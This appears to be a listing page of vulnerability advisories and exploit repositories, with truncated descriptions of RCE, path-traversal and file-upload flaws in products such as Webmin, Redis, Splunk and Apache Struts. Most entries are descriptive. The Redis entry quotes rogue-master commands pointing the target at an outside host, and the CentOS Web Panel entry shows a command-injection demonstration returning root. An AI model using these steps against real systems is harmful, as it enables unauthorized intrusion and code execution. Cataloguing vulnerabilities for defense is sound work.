CVE-2026-78189

WebDyne versions from 3.007 before 3.022 are vulnerable to a path traversal vulnerability in the PSGI API route fallback . When a request matches no file, the PSGI handler retries it as an API route via api_filename, which preserves .. segments in the request path. Because the system only verifie...

CVE-2026-78189 WebDyne versions from 3.007 before 3.022 for Perl execute .psp files outside the document root via path traversal in the PSGI API route fallback

WebDyne versions from 3.007 before 3.022 for Perl execute .psp files outside the document root via path traversal in the PSGI API route fallback. When a request matches no file, the PSGI handler retries it as an API route through apifilename. That keeps .. segments in the request path and only...

EUVD-2026-114715

WebDyne versions from 3.007 before 3.022 for Perl execute .psp files outside the document root via path traversal in the PSGI API route fallback. When a request matches no file, the PSGI handler retries it as an API route through apifilename. That keeps .. segments in the request path and only...

watchTowr-vs-Splunk-CVE-2026-20253

CVE-2026-20253 Splunk Pre-Auth RCE Splunk Pre-Auth RCE 1day Detection Artifact Generator Tool Detection in Action Detection Artifact Generator attempts to access the /v1/postgres/recovery/backup endpoint of PostgreSQL Sidecar Service to verify if it is accessible or not: 400 response - probably...

CVE-2019-15107

CVE-2019-15107 Webmin 1.890 Unauthenticated Remote Code Execution This script is designed to exploit unauthenticated command execution vulnerability in Webmin 1.890. It allows you to execute arbitrary commands on a target Webmin server or to obtain a reverse shell. Usage The exploit takes 5...

CVE-2025-31324

Info ░█▄█░█▀█░█░█░█░█░█░█░▀█▀░█▀█░█▀█░█▀▄░█░█ ░█░█░█▀▀░█░█░█░█░█▄█░░█░░█░█░█░█░█▀▄░░█░ ░▀░▀░▀░░░▀▀▀░▀▀▀░▀░▀░▀▀▀░▀░▀░▀░▀░▀░▀░░▀░ N U L L T R A C E // NullTrace :: No logs. No noise. Just signal. // ----- SIGNATURE----- Key: ssh-rsa AAAAB3...NullKey...KFA== Fingerprint:...

CLEANSTART-2024-YE53546 rxvt-unicode package is vulnerable to a remote code execution, in the Perl background extension, when an attacker can control the data written to the user's terminal and certain options are set

Security vulnerability affects the rxvt-unicode package. The rxvt-unicode package is vulnerable to a remote code execution, in the Perl background extension, when an attacker can control the data written to the user's terminal and certain options are set...

CVE-2022-22947_Rce_Exp

CVE-2022-22947RceExp Spring Cloud Gateway Remote Code Execution Vulnerability Exp SpringCloudGatewayRCEExp-CVE-2022-22947...

CVE-2022-44877

Centos Web Panel 7 Unauthenticated Remote Code Execution - CVE-2022-44877 + Centos Web Panel 7 Unauthenticated Remote Code Execution + Centos Web Panel 7 - log ➜ CVE-2022-44877 cat log examplelog ➜ CVE-2022-44877 echo "examplelog $whoami" log ➜ CVE-2022-44877 cat log examplelog examplelog root ➜...

CLEANSTART-2024-RL76221 remote code execution vulnerability exists when Git for Visual Studio improperly sanitizes input, aka 'Git for Visual Studio Remote Code Execution Vulnerability'

Security vulnerability affects the libgit2 package. A remote code execution vulnerability exists when Git for Visual Studio improperly sanitizes input, aka 'Git for Visual Studio Remote Code Execution Vulnerability'...

CVE-2019-5420

CVE-2019-5420 Ruby-on-Rails offers three different environments it can run in: development, test and production. You should obviously not have code running in development or test available on the internet but it as always happens for example in staging environments. Ruby-on-Rails uses...

PoC-RCE-Rukovoditel

PoC-RCE-Rukovoditel Proof of concept for CVE-2020-11819 and CVE-2020-15946. Tested on Rukovoditel 2.4.x, 2.5.x and 2.6.1 Description: This exploit has two modes of execution, using the session fixation vulnerability CVE-2020-15946 or using the access credentials of any account under any profile...

CVE-2024-4577

CVE-2024-4577 A Proof of Concept developed by @watchTowr exploiting the PHP CGI Argument Injection vulnerability CVE-2024-4577 to obtain RCE on a vulnerable PHP version running in a Windows environment. Detailed technical analysis for this vulnerability Orange Tsi 🍊 This vulnerability was found b...

CVE-2022-42889

CVE-2022-42889 Test application This repository contains a simple application using Apache Commons Text 1.9 which is vulnerable to CVE-2022-42889. Running the application Build and run the application via docker: docker build . -t vulnerable-app docker run vulnerable-app $ docker ps CONTAINER ID...

Redis-RCE

Redis-RCE remote code execute for redis4 and redis5 python code from https://github.com/Ridter/redis-rce 通过加载so文件，扩展新命令system.exec进行 命令执行成功 strings explin.so |grep sys system system.exec syserrlist.h sysnerr syserrlist syssiglist system.exec 0x01 SLAVEOF 192.168.2.18 8989 0x02 config set dir /tmp...

Ashwesker-CVE-2025-52691

🚨 CVE-2025-52691 — Critical SmarterMail Vulnerability Status: 🔥 Critical — Immediate action required CVSS v3.1 Score: 10.0 / 10 Disclosure Date: December 29–30, 2025 🧩 Vulnerability Summary CVE-2025-52691 is a critical, unauthenticated arbitrary file upload vulnerability affecting SmarterTools...

CVE-2020-7247

CVE 2020-7247 PoC exploit for OpenSMTPD 6.4.0...

CVE_2026_7515

CVE20267515 CVE-2026-7515: BetterDocs Pro = 3.8.0 - Unauthenticated Local File Inclusion TO RCE EXPLOİT...

CVE-2018-16119

CVE-2018-16119: Authenticated Remote Code Execution in TP-Link WR1043ND Overview CVE-2018-16119 is a critical authenticated remote code execution vulnerability affecting TP-Link TL-WR1043ND routers. This vulnerability allows authenticated attackers to execute arbitrary commands on the target devi...

CVE-2017-5638

CVE-2017-5638 CVE-2017-5638 Apache Struts2 RCE Exploit 🛠️ Description This is a simple Python-based PoC for CVE-2017-5638 — a Remote Code Execution vulnerability in Apache Struts 2. ⚠️ Disclaimer This code is provided for educational purposes only. Do NOT use it on any system without explicit...